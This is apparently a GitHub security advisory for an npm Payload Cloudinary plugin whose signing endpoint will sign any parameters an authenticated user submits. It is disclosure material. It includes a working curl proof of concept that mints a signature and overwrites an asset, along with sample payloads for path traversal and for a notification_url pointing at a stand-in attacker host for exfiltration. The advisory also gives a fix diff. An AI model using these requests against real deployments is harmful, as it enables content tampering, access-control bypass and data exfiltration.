GitHub Advisoryadvisory · npm
GHSA-h5x8-xp6m-x6q4 @jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- @jhb.software/payload-cloudinary-plugin
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
- Weaknesses
- CWE-347
- Reviewed
- 2026-06-19
Affected packages
• npm @jhb.software/payload-cloudinary-plugin: >= 0.3.0, < 0.4.0 → fixed in 0.4.0
Description
Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin
Summary
`@jhb.software/payload-cloudinary-plugin` v0.3.4 exposes a server-side signing endpoint (`POST /api/cloudinary-generate-signature`) that passes attacker-supplied `paramsToSign` directly to `cloudinary.utils.api_sign_request()` without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including `overwrite=true`, `type=private`, `notification_url`, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.
Details
When `clientUploads: true` is configured, the plugin registers a signing handler at `cloudinary/src/index.ts:74-79`. The handler is implemented in `cloudinary/src/getGenerateSignature.ts`.
Vulnerable code path (step by step):
1. `cloudinary/src/index.ts:58` — `initClientUploads` registers the server upload handler.
2. `cloudinary/src/index.ts:68` — The Cloudinary API key is exposed to client handler props by design.
3. `cloudinary/src/index.ts:74-79` — The signing endpoint is mounted at `/cloudinary-generate-signature`.
4. `cloudinary/src/getGenerateSignature.ts:18` — The default access control checks only `!!req.user`, permitting any authenticated user.
5. `cloudinary/src/getGenerateSignature.ts:46` — The entire request body is parsed: `const body = await req.json?.()`.
6. `cloudinary/src/getGenerateSignature.ts:55` — Vulnerable sink: attacker-controlled `body.paramsToSign` is forwarded verbatim to the signing function.
```ts
// cloudinary/src/getGenerateSignature.ts:46-55
const body = await req.json?.()
if (!body?.paramsToSign) {
return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)
}
// No allowlist, no key filtering, no folder/public_id/overwrite enforcement
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)
```
There are no mitigations in place:
• No parameter key allowlist (attacker can include `overwrite`, `type`, `notification_url`, `invalidate`, etc.)
• No folder/public_id policy enforcement (the plugin's `folder` option from `index.ts` is never passed to `getGenerateSignature`)
• No timestamp freshness check
• No restriction on path traversal sequences in `folder` or `public_id`
Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:
| Case | paramsToSign | Impact |
|------|-------------|--------|
| CASE-2 | `folder=attacker-controlled, overwrite=true` | Overwrite any existing asset |
| CASE-3 | `type=private, public_id=admin-document` | Change asset visibility / bypass access control |
| CASE-4 | `notification_url=http://attacker.example.com/exfil` | SSRF / data exfiltration via Cloudinary webhook |
| CASE-5 | `folder=../../../../admin-assets, invalidate=true` | Path traversal + CDN cache invalidation |
Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.
PoC
Prerequisites:
• `@jhb.software/[email protected]` deployed with `clientUploads: true`
• An authenticated Payload session (any privilege level)
• Knowledge of `CLOUDINARY_CLOUD_NAME` and the client-exposed API key (exposed by design at `index.ts:68`)
Step 1 — Obtain a signature for arbitrary parameters (bash):
```bash
TS=$(date +%s)
SIG=$(curl -s \
-H "Authorization: Bearer " \
-H "Content-Type: application/json" \
-X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
--data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
| jq -r .signature)
echo "Obtained signature: $SIG"
```
Step 2 — Use the minted signature to upload directly to Cloudinary:
```bash
curl -s -X POST "https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload" \
-F "[email protected]" \
-F "api_key=$CLOUDINARY_API_KEY" \
-F "timestamp=$TS" \
-F "folder=attacker" \
-F "public_id=overwrite-target" \
-F "overwrite=true" \
-F "signature=$SIG"
```
Expected result: Cloudinary returns a successful upload JSON for `attacker/overwrite-target` — an asset path the plugin never intended to authorize.
Automated PoC (Python):
```bash
Build and run the reproduction container
docker build -t vuln-002-cloudinary .
docker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary
Run all five attack scenarios
python3 poc.py --server http://127.0.0.1:3000
```
The script (`poc.py`) posts five distinct `paramsToSign` payloads and independently verifies each returned signature using `hashlib.sha1`. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability.
Sample output (Phase 2 evidence):
```
[SIGN] paramsToSign={"timestamp":"...","folder":"attacker-controlled","public_id":"overwrite-target","overwrite":"true"}
=> abc45ef5f0807bdef153074d2be3e713ea867168 (HTTP 200)
[SIGN] paramsToSign={"timestamp":"...","type":"private","public_id":"admin-document"}
=> 0d8102a5ff48953832b76a1f21d1c513af5940e1 (HTTP 200)
[SIGN] paramsToSign={"timestamp":"...","folder":"media","notification_url":"http://attacker.example.com/exfil"}
=> 72d954c67bd4a38d6a3931c64511f84143d24685 (HTTP 200)
[SIGN] paramsToSign={"timestamp":"...","folder":"../../../../admin-assets","public_id":"../../../sensitive","invalidate":"true"}
=> d44984e7af8fca306e59e00810c2623d8963e011 (HTTP 200)
Results: 5/5 cases confirmed — HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign
```
Recommended fix:
```diff
--- a/cloudinary/src/getGenerateSignature.ts
+++ b/cloudinary/src/getGenerateSignature.ts
@@ type Args = {
apiSecret: string
+ folder?: string
}
@@ export const getGenerateSignature =
• ({ access = defaultAccess, apiSecret }: Args): PayloadHandler =>
+ ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler =>
@@
• const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)
+ const paramsToSign = body.paramsToSign as Record
+ const allowedKeys = new Set(['timestamp', 'folder', 'public_id'])
+ if (
+ !paramsToSign ||
+ Object.keys(paramsToSign).some((key) => !allowedKeys.has(key)) ||
+ typeof paramsToSign.timestamp !== 'string'
+ ) {
+ throw new Forbidden()
+ }
+ if (folder && paramsToSign.folder !== folder.replace(/^\/|\/$/g, '')) {
+ throw new Forbidden()
+ }
+ if (
+ typeof paramsToSign.public_id === 'string' &&
+ (paramsToSign.public_id.includes('..') || paramsToSign.public_id.startsWith('/'))
+ ) {
+ throw new Forbidden()
+ }
+ const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret)
```
Impact
This is an Improper Verification of Cryptographic Signature vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because `paramsToSign` is never validated, it acts as an unrestricted signature oracle for any authenticated user.
Who is impacted: All deployments of `@jhb.software/payload-cloudinary-plugin` that set `clientUploads: true`. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README).
Concrete attack outcomes:
• Asset overwrite (`overwrite=true`): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement.
• Access-control bypass (`type=private`): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends.
• SSRF / data exfiltration (`notif…
Related
Weakness · CWE (1)
- CWE-347 Improper Verification of Cryptographic Signature weakness